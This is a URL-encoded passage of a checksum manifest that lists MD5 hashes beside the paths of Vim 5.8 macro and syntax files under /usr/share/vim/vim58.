re%2Fvim%2Fvim58%2Fmacros%2Fmaze%2Fmazeansi.c%0A414eb5c28a5b3e48218d66b19d7daf9e%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fmacros%2Fmaze%2Fposter%0A8827d5b0f357d0c461456e852134bbb8%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fmacros%2Fmaze%2Fposter.info%0A767316ee1686077eb4af1310cf7d3ab9%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fmacros%2Fhanoi.info%0A45a8f8caf8f51719fa11b62e30ce4130%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fmacros%2Fjustify.vim%0Ada835e9113ba238504b7c82bcf85d374%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fmacros%2Fshellmenu.vim%0Ab6e3912104655c1e1b361aa08f053ed5%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fmacros%2Fmaze.info%0A0086953528c49355685c336395940eda%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fmacros%2Furm%2FREADME.txt.info%0A7b3f6c3d2ef72dad5d88dfa6cbdc7231%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fmacros%2Furm%2FREADME.txt%0A5f4c2d42d944c21086e831a0ac52b21f%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fmacros%2Furm%2Fexamples%0A156d11392174a988c62e4ff88f949fc9%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fmacros%2Furm%2Furm%0Ac85f9b90b23870531a6ea800b7b2d995%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fmacros%2Furm%2Furm.vim%0A81c4a423af61518b8b332ff31b434be3%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fmacros%2Furm.info%0Af8e32ee65ecb31e4e446ba06dfce9ac3%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fmacros%2Fswapmous.vim%0A088c6f7dca1d9f017e009bbf81aa09d0%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fmacros%2Fvimrc%0A9ac590a5ea107a0d84874920b60d0add%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fapachestyle.vim%0A6b77f0e4fd22035656be07e1b0a07cdb%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2F2html.vim%0Af87c8af1915fcf2b7a3a8c24b79d7a46%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fabaqus.vim%0A46997f0c6785c6046ace8df370e89386%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fabc.vim%0A18963f33d8043c7d3342380a2a464a89%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fabel.vim%0A44aaca85ff91288292d89a758167bfc4%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Facedb.vim%0A873da5a9790b9f16525d02a7ef5e84cf%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fada.vim%0A78b0fea2f59efc0792a593869e415bc5%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Faflex.vim%0A439de573ebc2130d97c5f8f8478b58fe%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fahdl.vim%0A151ae5454506d65dddb6b69aacd7de19%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Famiga.vim%0Ac90983909f7b6045c7897c49cc4366ab%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Faml.vim%0A7e20587386e8d6079951de0235c7d8b5%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fantlr.vim%0Af0d864d26e42f1f83413315c5b1196b1%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fapache.vim%0Aadee2ed801362279f455c89b73f4d817%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fasm68k.vim%0A428fe299d610000b797f1fc35d499268%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fasm.vim%0A46df9b2d7a44ccd2a7e6c73ba4465b79%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdebchangelog.vim%0A20de6f13a58713147382c68a52a46f72%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fasmh8300.vim%0Af84bbd006636184e01e260c6e718c6ca%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fasn.vim%0A9b91f325f0b8d570b3f0609259bca13d%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Faspperl.vim%0Aa699f4a809acca7d4be406059894052d%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Faspvbs.vim%0A6646a216735b5e139b2162790b3652aa%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fatlas.vim%0Abd4deb0659e599766a71402933dd6be1%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fautomake.vim%0A0830bf2d8b330b562bd0356e3abeb4c8%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fave.vim%0A64568763ce2ca4d174119344219ae8a7%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fawk.vim%0A52eb3b4f751f252de7e3622632bdee0a%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fayacc.vim%0A6357fa67efb4f4794e2f25e86fd46e27%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fb.vim%0Aecdf771d4f4aa0e9d4e872f15bc50a8b%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fbasic.vim%0A9a025eea229659bdbc98ef3c881ae922%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fbc.vim%0A2658103dbaaa30070baea7f1c5da4aa5%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fbib.vim%0Ae16e01655437e746a562566dbc47a76e%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fbindzone.vim%0A343cdd5fc57a3b94164580d36848c72d%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fblank.vim%0A834f11b88bfee189abc67a4e7c5a51a0%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fbtm.vim%0Afa4f698317be401d49228c47c16a9e0f%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fc.vim%0A25cb4736276b6d52b8a738e57643129e%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcf.vim%0Aca363c8f078b3e5592b0d304d28ec083%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcfg.vim%0Ab29168a802c08248ddafc60b2b77c5a9%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fch.vim%0A07e8f1b13528898401cf52f0bfc8ee87%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fchange.vim%0A837d918cc06b4c6501ab93e63d2b29e1%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fchangelog.vim%0A98a6fcd3f2162efeca2e2ed2bb9c1e0b%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcl.vim%0A719d1de025e315b637ddd5e554643b27%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fclean.vim%0A4ebdadd972478cf7df9a50c95cfdfb69%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fclipper.vim%0Aa279e4542b0d56d1011abf9fd91da617%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcobol.vim%0A3b740ede1774ecc0eec8e2c90843e88f%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcolortest.vim%0Ac655cc9b8440ab6e05c8422aed784890%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fconf.vim%0A1dd01d01acbdb911b97a6ea2cc7dd094%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fconfig.vim%0A0c63cd36de2bd36e8ca075f7bde0aab0%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcpp.vim%0A987ebf787857237bf8c867e1ead56022%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcrontab.vim%0Aa47718905df00cd27f040ddb832ded50%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcsc.vim%0A53a8d8cb70c0f1eac343a621d548a8d6%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcsh.vim%0A54d67023b065cc32ba0f6352e0abdb60%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcsp.vim%0Acae9f3962683e77dd8b0eef231667dc9%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcss.vim%0Aad2af04c8f79dc07dffc08241c52310e%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcterm.vim%0A21809cbb316ba9a4f1b96ec9a13c67c7%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fctrlh.vim%0Ac0e3940cee2aa20689c847495720ae9d%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcupl.vim%0A2e4c658952568556d07224f44e337306%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcuplsim.vim%0A78f65c07ac4d641653976a9c59d79cda%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcvs.vim%0A1e3a582c931fe0030dd4b6915583c36e%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcweb.vim%0A8720a4a37975424a34ac441c16bd991c%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcynlib.vim%0Ade16a94577d78254e052997e724d7d91%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fcynpp.vim%0Ab3b10176c8aa723914c4c05924aee0e9%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdcl.vim%0Aba31ff5b20be47c4105a03bafbabcc20%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdebcontrol.vim%0A7c8db36254b492a16b050096efc853de%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdef.vim%0Ab991d151d76a09aafe34193910fb435c%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdiff.vim%0A4a354179acf5c12454b89662e4ee0aea%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdiva.vim%0A330841f3219dd05e82f1ce963ca5d9c9%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdns.vim%0Ac2575890c2e22687501e9115263e190f%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdocbk.vim%0Ac29971f560edc07f5a2dfd95fb80aab6%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdosbatch.vim%0A61520d223095345c4af9188ad476ea96%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdosini.vim%0Ab0c49956097a943174205dc8445c6811%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdracula.vim%0Aa458905b7c8b54439fe13be32e72c0bd%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdtd.vim%0A42e516a4e929919989aa9cfbc48f9813%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdtml.vim%0Acd3489a22043fb9fe95d4948fd4b4d60%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdylan.vim%0A39e3e6ec55de86780f4ba45cb32a449b%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdylanintr.vim%0A2cc9b0492ab42b5cd9e36b0561488b1f%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fdylanlid.vim%0A19f18f4a95a44899f1db24d03edd78ba%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fecd.vim%0A99e9fc790246d97cdd366fa54bb2232d%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Feiffel.vim%0A830f3ac6c190c5ce3e97869d3e1a19e1%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Felf.vim%0Ab5da5b1e0cf09137313bc66dd672f76e%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Felmfilt.vim%0Ac2ba13ddd85099cc461d05d634c25b0d%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Ferlang.vim%0Aaa5a1152da5ddd2cef565f7d9b3729fa%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fesqlc.vim%0A4df80d7ba58af8bc765d296ad4032a93%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fexpect.vim%0A95317e436d5cd0855b921ff982b30cab%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fexports.vim%0A99693f7ca4d8de35c948ecb08bd16e2e%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Ffgl.vim%0A769033609c977d0368ae7bd101a121f3%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Ffocexec.vim%0A546041788d1f041ec585cbb5480f881a%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fform.vim%0A0442a4e8f65f26fb7d6fcd65d3a9884c%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fforth.vim%0A484381f9a8ccd16a560e2474e50c94b5%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Ffortran.vim%0Ac19d5bf7a8b8b589f2b694f40732ca24%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Ffoxpro.vim%0Ade35a2ed985a1f7c7f9bdedac1450234%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Ffvwm.vim%0A9bc067ca9e3e6eaf39d4569bbdb99fa7%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fgdb.vim%0A2c6d7d98efd4d2d8c668d9b56afaa9bb%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fgdmo.vim%0Af7933fea6405f507794d8ee7d9d2ab0a%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fgedcom.vim%0Ae2d05a1ca3f4ffe381a70992dd14234a%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fgnuplot.vim%0A70e632c3c92f0f19129be65f1916b6cd%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fgp.vim%0A79baeb45f72402272d40b83e6ea9bdcb%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fgsp.vim%0A93b54ca6d9777bb1578d7dedcef9a0e6%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fgtkrc.vim%0A1a7b395f49e527d08eecd1b9775c0480%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fhaskell.vim%0A1415e2bd6e4c7fc657a5f13cef0d751a%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fhb.vim%0A2136bc645d689036fba49f4913800212%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fhelp.vim%0A004e7b32ffe71c1bd5980005a3b8b85b%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fhercules.vim%0A916a64b675ef5d1a9b66ba20957a4e11%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fhitest.vim%0A809c8e662437ebd0973971b134c6fadc%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fhog.vim%0Afa1f1d6961ff8afff6f2fb739bba57ab%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fhtml.vim%0A50b9cdfbb3923c2c22bd645ad45c9467%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fhtmlm4.vim%0A1944da40513d244c760bc8695a61bee4%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fhtmlos.vim%0A8e93d8db16c79708954e3ca6076f730c%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fia64.vim%0A67e89aa8abb987d8853186ea37d6bd83%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Ficon.vim%0Aef4610eea0b2e7617e76295658eea7f8%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fidl.vim%0A4f7e33b37cf611daf4c32144d1c50df8%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fidlang.vim%0A88fe34fe64c01418291c04a9dbf31ed2%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Finform.vim%0A3a01b59d72220388fcccd9a4e0aeee14%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Finittab.vim%0A74cf4b00f128968a36d1a9694a151717%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fishd.vim%0A594a3e60aa07ffd2251ecef09f927e5d%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fiss.vim%0A328dba95e3455f873cc6996c64bf85de%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fist.vim%0A66ef3ca5ab74be5c0c3787bb94543f17%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fjam.vim%0A5f563d69692532b4796d037b43bef2d4%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fjava.vim%0A6d4d918f9aff07a8563072a7bb99ebbd%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fjavacc.vim%0Aaba44ffb6b7bcd4ba696e9753a865cc6%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fjavascript.vim%0A635e6697231ba79441cd94d58265941a%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fjess.vim%0Ac37dd501b28eaabe72106bce565f156e%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fjgraph.vim%0Ac5c69d1bbdeb1211fb7babc95b51f658%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fjproperties.vim%0Ab2e64129961bf3bd8330a031f86fbf4d%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fjsp.vim%0A34c1892db07c7d344a33800e9ef3d28b%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fkix.vim%0A9a6cd8c600d5f25f96ed3128b7bf4b06%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fkscript.vim%0Af31122ebae839b94184d5e4c8b5eea08%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fkwt.vim%0Aeb12bf79f2889be4dbc67b991c549a54%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Flace.vim%0A0c4424d49f7c78b4bd7540db5db29e6f%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Flatte.vim%0A379a74f3e294d45de884cd2395860e74%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Flex.vim%0A20773f10a4c34b34893fb830b8892284%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Flhaskell.vim%0A36fabf555a14b36b088a983a8aecfe43%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Flilo.vim%0Ab07598676b874e9adaa8d24ba54d9c9d%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Flisp.vim%0A78d7d2a1310a259bfeb24b3659eb5c36%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Flite.vim%0Ac9f697f6c57b337d70510ae8d7b66920%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Flotos.vim%0A30594fb30da66272ca6aa12fdce4654f%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Flout.vim%0A685b07cbccdfc577f14ff96a8f547e12%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Flprolog.vim%0A329a2a7d4acf9ef5a78d7731a2b53c1e%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Flss.vim%0A425aeef21f604359f71d4d4e0163e4de%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Flua.vim%0Ad5b800a8918ede14cd20a633820eeb3b%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fm4.vim%0A01222d7ea7a0743ce3b52878f5c84142%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmail.vim%0A14afc1a20aa8e4b04df35f4c4e38ca08%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmake.vim%0Adbabb4212bc318a8660950f3977fe0fd%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fman.vim%0A03941aee4854e31f7ea5d8040451f49f%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmanual.vim%0A127d84c28d0e27ba66a1171b9ec68c8f%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmaple.vim%0A5322f008613a927a98b48b4c73c9fcaa%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmasm.vim%0Af7f8ffd18812d558c2e64e878914332e%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmason.vim%0Ae2cf470668e1b9691658cb708df4471a%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmaster.vim%0A172ba2a6ea5ccb95f7bbec49bfff83a7%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmatlab.vim%0A02eb8f9c1e7090871c6c4ce5db285a31%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmel.vim%0A4df18bc84065a2ea6a2a0ba99da0c1dc%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmf.vim%0A67f8b2ab280ffa8ab102d5829296ae0f%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmgp.vim%0Af7271baef950fee1085a14719bd6764f%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmib.vim%0A23ad71153c26ec54b8d4428f6e472ebe%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmma.vim%0A8b39f6d526548b2f95ea13884c261c73%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmodel.vim%0A4b7f75d6422fdbc22a385e901d70f3b2%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmodsim3.vim%0A2155d9c980e8b680d71648ff36550d1f%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmodula2.vim%0A9885cdccf3f6c56b429c7bb85a8c2f90%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmodula3.vim%0A6556fc94535022a82293ccad8e33d958%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmp.vim%0Ab59808c0ffe85ceede71926e261e13a4%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmsql.vim%0A1b6c9fe416bcc8afdadb2c76500861c7%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fmuttrc.vim%0A24c22b04cb4e74023d2c39e101145ebe%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fnamed.vim%0Ac1600f89a2f0c1baefa60ac810d14a09%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fnasm.vim%0Ac84550b6a56bba07fd6d4e20b81c141e%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fnastran.vim%0A6a89f8eaf7419ac3015695d65ce317ee%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fncf.vim%0A1b9f6dad4b23beecda67197f8b464a33%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fnosyntax.vim%0Ad9e40c1ade320524f6aefc8cd08ebc67%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fnqc.vim%0A184f6f230da532cc9418b09c75b8965c%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fnroff.vim%0Aec51eb3d1b90c57d3252982c1670b524%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fobjc.vim%0A457fe0fb62fdd8e91160af9e7fb84cee%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Focaml.vim%0Aa8cbe7d43b3c6202db004861bc70e7bb%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fomnimark.vim%0A06158128f7c9e725c55ad4a33f0455c1%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fopenroad.vim%0A804755eb11bb2422c0c86360219d35c7%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fopl.vim%0Ad3d06b8220f739577683c91aee849dd4%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fora.vim%0A0fbbe90cade08a3f6ea4aeefbb74daeb%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fpapp.vim%0A914d0e0f623dab036bf808872408fca5%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fpascal.vim%0A20e8a236c48e75f1a275fa5d355ce174%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fpcap.vim%0A17ff391c4da6c5d88168c60b4ac72015%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fpccts.vim%0A3fd81f24f79b6bb4d37037fe8e0d2051%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fperl.vim%0A906f3c491aab2279b449dd0d1d8a91f8%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fpfmain.vim%0A604d67ade10745422713d5284c3097be%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fphp.vim%0A052e90c704d83e2e0051ca1fed43b62a%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fphtml.vim%0Ae566c72d7a8e205d17aae78cfa3a9faa%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fpic.vim%0A2105a4de3b971eca2de440af9adbb3c9%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fpike.vim%0A14721472e96c2e39c896ecf329c24015%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fpine.vim%0A88202796bc950182694b70619958d46e%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fplsql.vim%0A905dc0a304b8145dde327ea5247a84f8%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fpo.vim%0A07fc21cde21c23793ad8674af3612935%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fpod.vim%0A5407f998144538a08ad041137c823ae8%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fpostscr.vim%0A2ea9c6183c16d34cbee5600388d79d00%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fpov.vim%0A0803f2e24decf402c27746b7346f6369%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fppwiz.vim%0A4c3d1977d9c28ebfdc4ddaf12bb495d8%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fprocmail.vim%0Af128a2bc52a1471785eebc287650c6ba%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fprogress.vim%0A47046618105534b16eec074a077f4c7e%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fprolog.vim%0A0214b0d3ee5e0bdb3a9c9a963c2c67b4%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fpsf.vim%0A7ab1dd25d6e7087a94bc63c2514bd970%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fptcap.vim%0A6853ee28de270ce34766829363b9eced%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fpurifylog.vim%0Ad17330234ab6d1bc85525fa376a2d737%20%20%2Fusr%2Fshare%2Fvim%2Fvim58%2Fsyntax%2Fpython.vim%0A0b342be3928f96324dd500a718de74af%20%20%2Fusr%2F